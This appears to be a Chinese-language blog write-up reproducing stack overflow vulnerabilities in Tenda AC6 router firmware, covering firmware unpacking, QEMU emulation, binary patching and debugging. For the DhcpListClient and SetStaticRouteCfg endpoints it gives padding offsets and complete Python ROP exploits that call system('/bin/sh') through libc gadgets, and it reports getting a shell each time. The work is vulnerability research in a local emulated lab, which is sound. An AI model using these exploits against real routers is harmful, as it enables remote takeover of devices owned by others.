Tenda-AC6路由器漏洞复现

影响版本:ac6<=US_AC6V1.0BR_V15.03.05.19_multi_TD01

环境搭建

固件下载:https://www.tenda.com.cn/material/show/102681

依赖安装

安装binwalk(这里不推荐apt安装的binwalk,会出现有些固件解包不完全的情况,github目前的binwalk是用rust重写了的,需要rust编译链)

git clone https://github.com/devttys0/binwalk
cd binwalk
sudo python setup.py install

安装sasquatch

sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev
sudo git clone https://github.com/devttys0/sasquatch
cd sasquatch && sudo make && sudo make install

安装qemu

sudo apt-get install qemu
sudo apt-get install qemu-user-static
sudo apt-get install qemu-system

安装gdb-multiarch

sudo apt-get install gdb-multiarch

模拟路由器

binwalk解包固件

binwalk -Me US_AC6V1.0BR_V15.03.05.19_multi_TD01.bin

解包后找到squashfs-root文件夹,这里便是路由器的文件系统,其中tenda的服务位于/bin/httpd,查看该文件的架构,发现是arm32小端序

由于该固件运行时会首先获取br0网卡的信息,所以这里需要先创建br0网卡并配置其ip。

sudo apt-get install uml-utilities
sudo tunctl -t br0 -u root
sudo ifconfig br0 10.10.10.1/24

然后将qemu拷贝到当前目录下,启动httpd服务(这里不需要system模拟,为了方便就直接user模拟了)

cp $(which qemu-arm-static) ./
sudo chroot ./ ./qemu-arm-static ./bin/httpd

运行后报错

在ida中搜索字符串定位到sub_2E128函数,由于是虚拟环境,很多网络配置都没有正常配置,所以引发报错,直接将while处和if处的判断均patch掉即可

重新启动,发现已经正常运行,也能正常获得br0的ip

漏洞复现

在sub_41F18定义了路由,访问特定的url即可访问路由器的服务,其中函数名开头带有from/form的通过http://ip地址/goform/路由名访问,这里ip地址是br0的地址

fromDhcpListClient

v11获取page参数后未作长度校验直接通过sprintf赋值给v9,存在栈溢出漏洞,覆盖返回地址可劫持控制流

为了程序正常运行,需要先将下面的部分patch掉

以调试模式启动qemu

sudo chroot ./ ./qemu-arm-static -g 23946 ./bin/httpd

启动gdb-multiarch调试

gdb-multiarch
set architecture armv5te
set endian little
set sysroot /usr/arm-linux-gnueabihf/
target remote localhost:23946

arm架构中,fp寄存器指向返回地址,可以看到v9位于[fp-0x11c],字符串“/network/lan_dhcp_static.asp?page=”长度为0x22,则需要0x11c-0x22=0xfa的padding,后面则是我们的返回地址。使用以下poc调试(注意第一次发包的时候不知道为什么不会被解析,后面发包才能正常运行,所以需要发两次包):

from pwn import *
import requests

def send_payload(url, payload):
    print("sending...")
    response = requests.get(url, params={'page': payload})
    print(f"Response status code: {response.status_code}\nResponse body: {response.text}")

payload = 0xfa * b'A' + b'abcdefghijklkmopqrst'
send_payload("http://10.10.10.1/goform/DhcpListClient", payload)

可以看到成功劫持pc

由于开了nx,而且该二进制文件的地址含0,这里考虑使用libc的gadget进行rop,然后第一个gadget就很绝杀

arm架构传参从右往左通过r0、r1、r2、r3和栈传递,执行system("/bin/sh")只需要传一个参数,所以执行一遍pop {r0,pc}即可

在memset函数处下断点,结合固件中libc文件,计算出libc基地址0x3fdd8f70-0x3df70=0x3fd9b000

exp如下:

from pwn import *
import requests

libc = ELF('./lib/libc.so.0')

libc_start = 0x3fd9b000
system_addr = libc_start + libc.symbols['system']
binsh_addr = libc_start + next(libc.search(b'/bin/sh'))

# 0x0003db80 : pop {r0, pc}
pop_r0_pc = libc_start + 0x0003db80

print(f"system: {hex(system_addr)}")
print(f"binsh: {hex(binsh_addr)}")
print(f"pop r0: {hex(pop_r0_pc)}")

def send_payload(url, payload):
    print("sending...")
    response = requests.get(url, params={'page': payload})
    print(f"Response status code: {response.status_code}\nResponse body: {response.text}")

payload = 0xfa * b'A' + p32(pop_r0_pc) + p32(binsh_addr) + p32(system_addr)
send_payload("http://10.10.10.1/goform/DhcpListClient", payload)

运行完后成功getshell

fromSetRouteStatic

WebVar获取list参数后传入sub_77d40

传入的参数通过sscanf赋值到v11、v10、v9、s1,存在栈溢出

由于这里sscanf后又sprintf了一次,且涉及多个局部变量,这里选择直接调padding直到覆盖返回地址,发现padding为b'abc,def,ghi,' + 392 * b'A'时能覆盖返回地址,则exp如下:

from pwn import *
import requests

libc = ELF('./lib/libc.so.0')

libc_start = 0x3fd9b000
system_addr = libc_start + libc.symbols['system']
binsh_addr = libc_start + next(libc.search(b'/bin/sh'))

# 0x0003db80 : pop {r0, pc}

pop_r0_pc = libc_start + 0x0003db80

print(f"system: {hex(system_addr)}")
print(f"binsh: {hex(binsh_addr)}")
print(f"pop r0: {hex(pop_r0_pc)}")

def send_payload(url, payload):
    print("sending...")
    response = requests.get(url, params={'list': payload})
    print(f"Response status code: {response.status_code}\nResponse body: {response.text}")

payload = b'abc,def,ghi,' + 392 * b'A' + p32(pop_r0_pc) + p32(binsh_addr) + p32(system_addr)
send_payload("http://10.10.10.1/goform/SetStaticRouteCfg", payload)

运行完后成功getshell

总结

tenda的路由器防护做的比较一般,比较适合新手入门,难度基本在环境的配置上,后面还有几个水洞就不拿出来丢人现眼了,可能后面会发下mips的洞吧。水几个编号够了,反正我也不是搞漏挖的()

参考链接

https://nosec.org/home/detail/4634.html
https://xz.aliyun.com/news/6953?time__1311=n4%2Bx9DnDu0KWqBK4GNDQT4eaai7c2xD5rqQx&u_atoken=8e5bc13bd41a822e9ef9d8da7efb8ea3&u_asig=1a0c380917403770558281619e00f2
https://robinwang825.github.io/2022/10/12/CVE复现记录-CVE-2022-37175栈溢出和CVE-2020-10987-远程命令执行/
https://ljzjsc.com/index.php/archives/132/#cve-2020–10987cve-2020–15916
https://www.iotsec-zone.com/article/119#cpage-not-found

posted @ 2025-05-08 19:34  Siestazzz  阅读(330)  评论(0)    收藏  举报